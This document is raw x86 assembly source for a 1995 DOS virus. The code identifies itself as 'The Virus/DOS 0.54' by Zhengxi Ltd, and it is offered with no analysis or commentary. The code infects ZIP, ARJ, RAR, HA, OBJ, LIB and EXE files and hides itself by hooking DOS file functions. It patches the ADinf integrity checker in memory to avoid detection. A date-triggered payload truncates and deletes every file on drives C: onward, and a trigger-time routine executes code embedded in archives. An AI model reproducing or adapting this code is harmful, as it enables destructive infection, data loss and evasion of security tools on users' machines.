ZIP]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄ pblabel cycle1 mov dx, [ziphdr.zip_size_fname] sub dx, 4 sbb cx, cx add dx, [ziphdr.zip_extra_field_length] cmp [ziphdr.zip_compression_method], ZIP_METHOD_STORED je mustdie add dx, [ziphdr.zip_compressed_size.lo] adc cx, [ziphdr.zip_compressed_size.hi] call dosseek_cur call read_buf_22 ; read(ziphdr, sizeof(zipcnthdr)) pblabel process_zip ;$BEEP$ ; DOIF E ; DONE cmp word ptr [ziphdr.zip_loc_sign.hi], ZIP_LCL_ID je cycle1 cmp word ptr [ziphdr.zip_loc_sign.hi], ZIP_CNL_ID jne error_exit1 call create_zip mov dx, - HDRBUFSIZE ; SIZE zip_local_header call dosseek_cur_cx_1 mov [crthdr.zip_rel_off_of_loc_hdr_.lo], ax mov [crthdr.zip_rel_off_of_loc_hdr_.hi], dx mov cx, SIZE zip_local_header ;1e call f_insert_hdr_und_file jmp proc_cnt DO ; seek_cur(ziphdr.filename_length_+ziphdr.extra_field_length_ ; +ziphdr.file_comment_length_) mov dx, [ziphdr.zip_size_fname_] add dx, [ziphdr.zip_extra_field_length_] add dx, [ziphdr.zip_file_comment_length_] add dx, 0Ch call dosseek_cur_cx_0 pblabel proc_cnt call read_buf_22 cmp [ziphdr.zip_centr_sign_.lo], ZIP_SIGN jne error_exit1 cmp word ptr [ziphdr.zip_centr_sign_.hi], ZIP_CNL_ID CYCLE E cmp word ptr [ziphdr.zip_centr_sign_.hi], ZIP_END_ID jne error_exit1 call dosseek_cur_neg_ax ; seek_cur(-sizeof(zip_centr_header)) inc [ziphdr.ttl_num_of_ent_on_this_disk] inc [ziphdr.ttl_num_of_ent_in_the_cent_dir] add [ziphdr.size_of_the_central_directory.lo], size zip_central_header mov ax, [fnamesize] cwd ;DX := 0 add [ziphdr.size_of_the_central_directory.lo], ax adc [ziphdr.size_of_the_central_directory.hi], dx add ax, [fisize] ;[zip_compressed_size.lo] add ax, SIZE zip_local_header add [ziphdr.off_of_strt_of_cent_directory.lo], ax adc [ziphdr.off_of_strt_of_cent_directory.hi], dx mov cx, SIZE zip_end_header call DosWrite_shbuf ;write zip_end_header cmp dx, bp ;zf=0 call create_zip ; create_centr_header mov dx, -SIZE zip_end_header ;-16 call dosseek_cur_cx_1 mov cx, SIZE zip_central_header ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;%NOINCL ;.SALL ;shift_buffer_size = 13h pblabel f_insert_hdr add cx, [fnamesize] pblabel f_insert_hdr_wirhout_fname LEA si, [vir_heap._crthdr] pblabel f_insert push dx ax push cx ; insert_size xor cx,cx ; cx := 0 sub ax, HDRBUFSIZE sbb dx, cx mov [beg_pos.hi], dx mov [beg_pos.lo], ax dec cx ; cx := -1 mov dx, - HDRBUFSIZE mov al, 2 ; seek_end ( - shift_buffer_size ) call DosSeek_all DO call read_buf_22 ; read ( shift_buffer, shift_buffer_size ) pop dx ; seek_cur ( insert_size - shift_buffer_size ) push dx sub dx, HDRBUFSIZE ; sub dx,ax (?) call dosseek_cur_cx_0 call DosWrite_shbuf_22 ; write ( shift_buffer, shift_buffer_size ) pop dx ; seek_cur ( - insert_size - 2*shift_buffer_size ) push dx add dx, HDRBUFSIZE*2 call dosseek_cur_neg_dx ; #### DX:AX=curpos cmp dx, [beg_pos.hi] REPEAT A cmp ax, [beg_pos.lo] CYCLE A ;-+--------+- seek for write -+--------+- pop ax ; insert_size pop dx cx push ax call dosseek mov dx, si pop cx call DosWrite jmp dostell ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;shift_buffer_size = 22h ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ pblabel sto_fnamesize_20 mov ax, 20h add ax, [fnamesize] stosw ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ pblabel store_fisize xor dx, dx sto_word_ <[fisize]> ;.filesize xchg dx, ax pblabel st_dx_0 stosw ;d;hdr crc xchg ax, dx pblabel stosw_sto_0 stosw sto_word 0 ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ pblabel create_dtim call stosw_sto_0 pblabel create_dtim1 sto_word TIMEMARKER ;time = const TIMEMARKER sto_word_ <[host_arx_date]> ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ pblabel write_sizemarker ;write garbage lea di, [heap] ;from heap mov ax, SIZEMARKER+SIZEMARKER_MOD CALL SHIT_AX ;write virus call seek_end ;dx:ax - file size xor dx, dx mov cx, SIZEMARKER div cx sub cx, dx add cx, SIZEMARKER_MOD jmp doswrite_from_heap ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;xEXE db '.EXE' ;xCOM db '.COM' pblabel hdrs CRC32w <'P','K','',''> ;ZIP CRC32w <060h,0EAh> ;ARJ CRC32w <'R','a','r','!'> ;RAR CRC32w <'H','A' > ;HA pblabel endarxex ; CRC32w <0FFh,0FFh,0FFh,0FFh> ;SYS CRC32w <0F0h,0Dh> ;LIB CRC32w <080h> ;OBJ ; CRC32w <'F','B','O','V'> ;OVR CRC32w <'Z','M'> ;EXE CRC32w <'M','Z'> ;EXE pblabel offs dw process_zip dw process_arj dw process_rar dw process_ha ; dw process_sys dw process_lib dw process_obj ; dw process_ovr dw process_exe dw process_exe ;cmp_ax_CRC32w <2,1Ah,8Bh> pblabel api_entry call doscall iret pblabel mustdie DTADELTA equ 11H forDTAs equ heap+80h TROJANTIME=0 cmp [host_arx_date.h], 20h ;if 1996 year then must die! DOIF B ;executor cmp [ziphdr.zip_file_time], TROJANTIME DOIF E ;int 2bh call dosseek_cur_cx_0 lea dx, [api_entry] mov ax, 2503h call doscall lea dx, [heap] mov cx, [ziphdr.zip_compressed_size.lo] and ch, 1Fh ; maximum size=8K call dosread call dx ; mov di, cx ; mov si, dx ; call Calculate_CRC DONE ret DONE MOVSEG ds, cs MOVSEG es, cs next_disk: lea si, forDTAs lea di, [heap] disk=$+1 IFDEF RELIZ sto_two_byte 'C', ':' ELSE sto_two_byte 'D', ':' ENDIF cmp al, 'Z' je rt_err DO add si, DTADELTA mov dx, si mov ah, 1Ah call DosCall sto_byte '\' mov word ptr [di],'.*' mov word ptr [di+2],'*' mov cx, 3Fh lea dx, [heap] FindFirst: mov ah, 4Eh jmp short EndOfSearch DO FindNext: mov ah, 4Fh EndOfSearch: call DosCall DOIF C mov byte ptr [di-1], 0 lea dx, [heap] mov ah, 3Ah call DosCall DO dec di cmp byte ptr [di-1],'\' CYCLE NE sub si, DTADELTA mov dx, si mov ah, 1Ah call DosCall cmp si, offset forDTAs jae FindNext inc byte ptr ds:[disk] jmp next_disk DONE push di si add si, find_buf_pname DO lodsb stosb or al, al CYCLE NZ dec di pop si test byte ptr [si.find_buf_attr], 10h je @@0 cmp byte ptr [si.find_buf_pname], '.' jne @@1 @@0: pop di ;file -> restore DI lea dx, [heap] mov cx, 20h mov ax, 4301h call DosCall mov ax, 3D21h call DosCall xchg bx, ax DOIF NC call DosTruncate call DosClose DONE mov ah, 41h call DosCall CYCLE @@1: pop ax ;drop DI ; ;¥á«¨ ¤¨à¥ªâ®à¨ï +name CYCLE ends end INCLUDE ZURICH.ASI ;INCLUDE CRC.ASI code segment byte public assume cs:code, ds:code, es:code, ss:code ;public get_crc_just_fname ;public get_own_name extrn DosCall :near extrn calculate_crc5 :near ;-+------------------------------------------------------------------------+- ;¯®«ãç¨âì ä ©«­¥©¬ ¨§ á।ë ⥪ã饣® PSP ;proc ;return ds:dx =@ParamStr(0) {use cur PSP} ;-+------------------------------------------------------------------------+- ;CRPROC get_own_name, 79FCh ;public get_own_name pblabel get_own_name push es ax bx ; mov ah, 34h ; call DosCall ;BX-cur psp ; mov ds, es:[bx][0Fh] ;cur PSP mov ah, 51h int 21h mov ds, bx mov bx, PDB_environ mov ds, ds:[bx] ;cur envir DO inc bx cmp word ptr [bx-4], 0 CYCLE NZ mov dx, bx pop bx ax es ret ;endp ;-+------------------------------------------------------------------------+- ;-+------------------------------------------------------------------------+- ;ds:dx - string, ;(dx:cx)ax-crc of UpCase(JustFileName) ;ZF=1, ¥á«¨ CRC í⮣® ¨¬¥­¨ ¥áâì ¢ â ¡«¨æ¥ ;-+------------------------------------------------------------------------+- ;CRPROC get_crc_just_fname, 474Ah ;public get_crc_just_fname pblabel get_crc_just_fname push es push si di cx dx pushf movseg es, cs cld mov si, dx DO lodsb and al, al CYCLE NZ std lodsw DO lodsb cmp al, '\' EXIT E cmp al, ':' EXIT E cmp al, 0 CYCLE NZ popf lodsw call Calculate_CRC5 lea di, nostlnames mov cx, nostlnamescount repne scasw ;cmp di, cx ; ;uuencode CRC32w < 'P', 'K', 'L', 'I', 'T' > ;PKLITE CRC32w < 'L', 'Z', 'E', 'X', 'E' > ;lzexe CRC32w < 'N', 'D', 'D', '.', 'E' > ;ndd.exe CRC32w < 'D', 'I', 'E', 'T', '.' > ;diet. CRC32w < 'S', 'C', 'A', 'N', 'D' > ;scandisk CRC32w < 'S', 'D', '.', 'E', 'X' > ;sd.exe CRC32w < 'S', 'P', 'E', 'E', 'D' > ;speedisk CRC32w < 'D', 'E', 'F', 'R', 'A' > ;defrag CRC32w < 'T', 'L', 'I', 'N', 'K' > ;tlink CRC32w < 'W', 'L', 'I', 'N', 'K' > ;Wlink CRC32w < 'L', 'I', 'N', 'K', '.' > ;link.exe CRC32w < 'D', 'P', 'M', 'I', '1' > ;DPMI16 CRC32w < 'D', 'P', 'M', 'I', '3' > ;DPMI32 CRC32w < 'R', 'T', 'M', '.', 'E' > ;RTM.EXE CRC32w < 'R', 'T', 'M', '3', '2' > ;RTM32.EXE nostlnamescount = ($-nostlnames)/2 ;-+------------------------------------------------------------------------+- ends end include zurich.asi code segment byte public assume cs:code, ds:code, es:code, ss:code ;extrn begin_rnd_procs:dword ;extrn carrier :near ;extrn end_msg :near public r_lo public r_hi ;.model tiny ;.code ;10DCD ; r_hi r_lo ;------------------- ; xxxx xxxx r_lo * 0DCDh ; yyyy yyyy r_hi * 0DCDh ; r_hi r_lo * 1 ;------------------- ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ pblabel RND_GET push dx cx mov ax, cs:r_lo mov cx, 0DCDh mul cx inc ax adc dx, 1111h r_lo equ word ptr $-2 mov cs:r_lo, ax mov ax, 1111h r_hi equ word ptr $-2 xchg cx, dx mul dx add ax, cx mov cs:r_hi, ax pop cx dx sahf ret ; dd ? ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ pblabel RND_INIT push ds si mov si, 43h mov ds, si push word ptr ds:[si-43h*11h+46Ch] ;lo pop cs:r_lo push word ptr ds:[si-43h*11h+46Eh] ;hi pop cs:r_hi push ax in al, 40h xor byte ptr cs:r_hi, al pop ax pop si ds ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;extrn Calculate_CRC :near ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ pblabel RND_GET_BYTE call RND_GET mov ah,0 ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ pblabel RND_GET_THREE_BITS call RND_GET_BYTE pushf and al,00000111b popf ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;rnd_procs_size = $-begin_rnd_procs ends end INCLUDE ZURICH.ASI code segment byte public assume cs:code, ds:code, es:code, ss:code extrn InfectTurn :byte extrn r_lo:word extrn r_hi:word extrn InfectName :near extrn get_crc_just_fname:near extrn heap:near extrn crypt_exe_header:near extrn no_freq_proc :near extrn crypt_exe_header_custom:near extrn WRITE_EXEHDR :near extrn TEST_SIZE :near extrn STEALTHNAME :near extrn GET_SFT :near extrn vir_heap :near extrn InfectHandle :near extrn start_data :word extrn get_own_name :near extrn heap :near extrn st25 :near extrn ret_hook :dword extrn ret_sux :word extrn continue21 :near extrn get_cur_time :near extrn calculate_crc :near extrn vir_heap :near extrn Calculate_CRC:near extrn Calculate_CRC5:near ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ÄÄÄ VIRUS STARTUP ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ org 0 pblabel virus_zero DB 0cH DUP (opNOP) dw 0 ;bp-30h : SS dw 0 ;bp-2eh : SP dw 0 ;bp-2ch : sum dw 0Ah+0cH ;bp-2ah : IP dw 0 ;bp-28h : CS nop .EXIT org VIRUSSTACKSIZE-16h pblabel begin_stack st_es dw ? ;-16 st_ds dw ? ;-14 st_di dw ? ;-12 st_si dw ? ;-10 st_bp dw ? ;-E st_sp dw ? ;-C st_bx dw ? ;-A st_dx dw ? ;-8 st_cx dw ? ;-6 st_ax dw ? ;-4 st_fl dw ? ;-2 pblabel end_stack ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ pblabel virus_entry push si call vs public _____ _____ db (zmeflARX and 0FFh) ;0-classic EXE ;1-abnormal termination (for carrier) ;2-retf pblabel relocator DO SEGCS lodsb db opSEGCS, 88h, 44h shiftval db ? ; mov cs:[si+shiftval], al CYCLE LU iret pblabel vs pop si push ax cx di bp pushf std lea ax, _____ sub ax, si push ax and ax, 0Fh add al, 11h ;suxxx*10h+1h ; suxxx=1 mov cs:[si+(offset shiftval)-(offset _____)], al pop ax sar ax, 4 dec ax ; sub ax, suxxx mov bp, sp mov di, ss:[bp+4+6+2] cmp byte ptr cs:[di-3], opCALL DOIF E add 1 ptr cs:[si+(offset shiftval)-(offset _____)], 060h sub ax, 06h dec di mov byte ptr cs:[di], 0ECh dec di mov byte ptr cs:[di], 8Bh dec di mov byte ptr cs:[di], 55h mov ss:[bp+4+6+2], di push cs push di pushf lea bp, vvvo DOELSE lea bp, vvv DONE mov cx, cs sub cx, ax push cx push bp lea si, [si+((offset start_data))-_____] mov cx, (offset start_data)-VIRUSSTACKSIZE+2 jmp relocator ;------------- pblabel vvvo begin_auto: pop dword ptr cs:[frret] popf ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ pblabel vvv pop bp di cx ax si ;save vect1 push ds MOVSEG ds, cs lea dx, tmp1 mov ax, 2501h int 21h pop ds pushf call trace_cpm popf cmp cs:_____, (zmeflOBJ and 0FFh) DOIF E inc sp inc sp retobj db 0EAh public_key: frret dd ? DONE cmp cs:_____, (zmeflIXE and 0FFh) DOIF E retf DONE cmp cs:_____, (zmeflEXE and 0FFh) ;-? jnz carrier ;/ mov cs:[vir_heap._after_goto], offset goto_exe call user_proc pblabel goto_EXE ;api ;(ss-es-0x17)<<4+sp ;ss=cs-1 ;(cs-es-0x18)<<4+sp mov ax, es mov si, 10h add ax, si push es push ax ;psp mov bx, cs sub ax, bx neg ax cwd mul si mov si, [save_SP] sub si, 7Eh add ax, si adc dx, 0 push si call crypt_exe_header_custom pop si lea di, [heap] mov cx, 16h/2 rep movsw call di pop ax pop es movseg ds, es add cs:[(heap-2).exe_SS], ax add cs:[(heap-2).exe_CS], ax mov ss, cs:[(heap-2).exe_SS] mov sp, cs:[(heap-2).exe_SP] jmp dword ptr cs:[(heap-2).exe_IP] ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ pblabel carrier call endmsg ; db 'This program requires Microsoft Windows.' ; db 'The Application Program Interface (API) entered' ; db 'will only work in OS/2 mode.' db 'Abnormal program termination',CRLF,'$' ;public_key dd ? db CRLF,'The Virus/DOS 0.54 Copyright (c) 1995 Zhengxi Ltd' ; db CRLF,'Don''t distribute this program!',CRLF db CRLF,'Warning! This program for internal use only!',CRLF pblabel endmsg pop dx movseg ds, cs mov ah,9 int 21h .exit ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;funcs21 equ <00,11,12,31,3D,3E,3F,41,42,48,49,4A,4B,4C,4E,4F,67,6C> ; funcs21 equ <67,3E,6C,3F,49,00,3D,41,4A,11,4B,31,48,4C,4E,42,12,4F> ; pblabel functions % IRP foo, funcs21 db (&foo&h shl 1) xor &foo&h ENDM funcnt = $-functions MROR MACRO w1, shval dw (w1 shr (shval and 0Fh)) or ((w1 shl (10h-(shval and 0Fh))) and 0FFFFh) ENDM MROL MACRO w1, shval dw ((w1 shl (shval and 0Fh)) and 0FFFFh) or (w1 shr (10h-(shval and 0Fh))) ENDM % IRP foo, funcs21 MROR <((bfr_&foo-virus_zero) xor ($+2-virus_zero))>, <(bfr_aft-$)> MROL <((aft_&foo-virus_zero) - ($+2-virus_zero))>, <(bfr_aft-($-2))> public bfr_&foo public aft_&foo ENDM bfr_aft = $-4 ;-+------------------------------------------------------------------------+- pblabel user_proc mov cs:[vir_heap._save_ss], ss mov cs:[vir_heap._save_sp], sp movseg ss, cs lea sp, end_stack pushf cli cld pushaw push ds es lea bp, vir_heap+80H call [after_goto] pblabel rt_err lea sp, begin_stack ;end_stack-20d pop es ds popaw popf mov ss, cs:[vir_heap._save_ss] mov sp, cs:[vir_heap._save_sp] retn ;-+------------------------------------------------------------------------+- ;-+------------------------------------------------------------------------+- pblabel RANDOMIZE lea si, begin_auto mov di, end_auto-begin_auto mov [si+(public_key-begin_auto).lo], ax mov [si+(public_key-begin_auto).hi], dx call Calculate_CRC mov [r_lo], dx mov [r_hi], cx ret ;-+------------------------------------------------------------------------+- pblabel end_auto ;-+------------------------------------------------------------------------+- bfr_3E: call RND_GET DOIF BE ret DONE jmp InfectHandle aft_3E: ;ret jmp InfectName ;-+------------------------------------------------------------------------+- bfr_41: pblabel Doctor_Name mov ax, 3D12h ifInfJump NameCustom movseg ds, ss push ax dx call restore_header pop cx dx call dosseek ;seek call DosTruncate call write_exehdr jmp dosclose ;Doctor_Name endp ;-+------------------------------------------------------------------------+- ;-+------------------------------------------------------------------------+- aft_11: aft_12: movseg ds, cs and al, al jnz $ret mov ah, 2fh ; get DTA call DosCall mov ax, word ptr es:[bx+24h] ;really not need, call test_size ;ZF=0 - no infected file ;speed optimization jnz $ret ; lea di, StealthName mov cx, 11d DO mov al, es:[bx+8] inc bx cmp al, ' ' DOIF NE mov ds:[di], al inc di DONE cmp cx, 4 DOIF E mov byte ptr ds:[di], '.' inc di DONE CYCLE LU mov byte ptr cs:[di], ch ;0 add bx, 0Ch jmp stlts_find_name ;-+------------------------------------------------------------------------+- ;-+------------------------------------------------------------------------+- bfr_6C: test dl, 1 ;no open PASS Z test bl, 3 ;r/0 DOIF NZ push dx mov dx, si call Doctor_Name pop dx MASKA , xxxxxx10 ;R/W bl DONE ;-+------------------------------------------------------------------------+- bfr_49: aft_42: aft_00: aft_4C: bfr_4f: bfr_11: bfr_12: bfr_def: @retn: aft_def: aft_41: $ret: ret ;-+------------------------------------------------------------------------+- ;-+------------------------------------------------------------------------+- aft_4E: aft_4F: MOVSEG ds, cs lea di, StealthName-1 DO inc di cmp byte ptr [di], 0 CYCLE NZ DO dec di cmp di, offset StealthName-1 EXIT E cmp byte ptr [di], '\' CYCLE NE inc di mov ah, 2Fh ;get DTA call DosCall mov cx, 0Dh ;es:bx+1e -0Dh-> ds:di DO push word ptr es:find_buf_pname[bx] pop ds:[di] inc di inc bx CYCLE LU TROJANFILETIME = (6 shl 11d) or (6 shl 5) or (6 shr 1) cmp es:[(bx-0Dh).find_buf_time], TROJANFILETIME ;DOIF E ;int 2bh ;DONE je added_to_turn test es:[(bx-0Dh).find_buf_attr], 10h ;directory ? jnz no_added_to_turn ; call RND_GET_BYTE and ax, 0dh jnz no_added_to_turn ;execut ; lea dx, StealthName ; call get_crc_just_fname ; jz no_added_to_turn ;-+--added to turn-------------------------------------------------------+- ;ds:dx -> InfectTurn added_to_turn: lea si, StealthName lea di, InfectTurn push es movseg es, ss mov cx, 40h rep movsw pop es ;int 2bh ; cmp es:[(bx-0Dh).find_buf_time], TROJANFILETIME ; DOIF Z ; call InfectName ;ZFlag ; DONE pblabel no_added_to_turn ;# mov ax, es:[(bx-0Dh).find_buf_size_l] ;really not need, call test_size ;ZF=0 - no infected file ;speed optimization jnz @retn ; pblabel stlts_find_name ;extention test ? lea dx, StealthName mov si, bx IfInfJump Name ;R/o mode ? mov word ptr es:find_buf_size_l[si-0Dh], ax mov word ptr es:find_buf_size_h[si-0Dh], dx jmp dosclose ;-+------------------------------------------------------------------------+- ;-+------------------------------------------------------------------------+- bfr_4E: movseg es, cs mov si, dx lea di, StealthName mov ah, 60h jmp doscall ;-+------------------------------------------------------------------------+- ;-+------------------------------------------------------------------------+- bfr_3D: test al, 3 DOIF NZ ;W/O R/W call Doctor_Name MASKA , xxxxxx10 ;R/W al $?ret: ret DONE ;comment # ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄADINFUCKÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ call get_crc_just_fname cmp_ax_CRC32w <'A', '-', 'D', 'i', 'n'> jne $?ret mov si, cs:[save_SP] mov ax, word ptr ds:[si][4] add ah, 0Eh mov ds, ax xor si, si DO mov di, 8 call Calculate_CRC cmp_ax_CRC32w <74h, 0Ah, 0C4h, 5Eh, 0E2h, 26h, 81h, 0Fh> lodsw PASS NE xor al, ah DOIF E mov ax, ds:[si-12] ;=1547 for {386}, =1557 for {86} add ax, offset adinf386_fuck-1547h mov byte ptr ds:[si-8], 3Dh ;fuck 3byte mov byte ptr ds:[si-5], 9Ah mov word ptr [si-4], ax mov word ptr [si-2], cs DO call Calculate_CRC5 cmp_ax_CRC32w <0Ah, 0Bh, 0C0h, 74h, 3> DOIF E xor byte ptr ds:[si-4], 0Bh xor 4 ; or ax,ax ret DONE sub si, 6 ;backward search CYCLE NZ DONE sub si, 9 ;forward search CYCLE NS ;<8000h ret ;-+-[ fucking adinf 9.xx and 10.xx ]---------------------------------------+- ;new file size in (ax:dx){86} or eax{386} ;old file size in es:[bx.15h] ;-+------------------------------------------------------------------------+- MINVIRSIZE equ 6000d MAXVIRSIZE equ 16000d adinf386_fuck proc far push ax ; 1 sub ax, es:[bx+15h] ; 4 les bx, [bp][-001Eh] ; 3 cmp ax, MINVIRSIZE ; 3 ja continue_fuck_1f_386 ; 2 pop ax ; 1 end_fuck_1f_386: ret ; 1 ;-+------------------------------------------------------------------------+- org adinf386_fuck+10h ;-+------------------------------------------------------------------------+- adinf_fuck proc far xchg ax, dx ; 1 call adinf386_fuck ; 3 xchg ax, dx ; 1 ret ; 1 adinf_fuck endp ;-+------------------------------------------------------------------------+- continue_fuck_1f_386: cmp ax, MAXVIRSIZE ; 3 pop ax ; 1 jb end_fuck_1f_386 ; 2 or word ptr es:[bx],808h ; 5 ;old command ret ; 1 adinf386_fuck endp ;-+------------------------------------------------------------------------+- ;-+------------------------------------------------------------------------+- aft_6C: and cx, cx ;file opened DOIF Z aft_3D: xchg bx, ax IfInfJump Handle ;patch SFT size call get_sft mov byte ptr es:[di.sf_name], 0 mov word ptr es:[di.sf_size.hi], dx mov word ptr es:[di.sf_size.lo], ax DONE ret 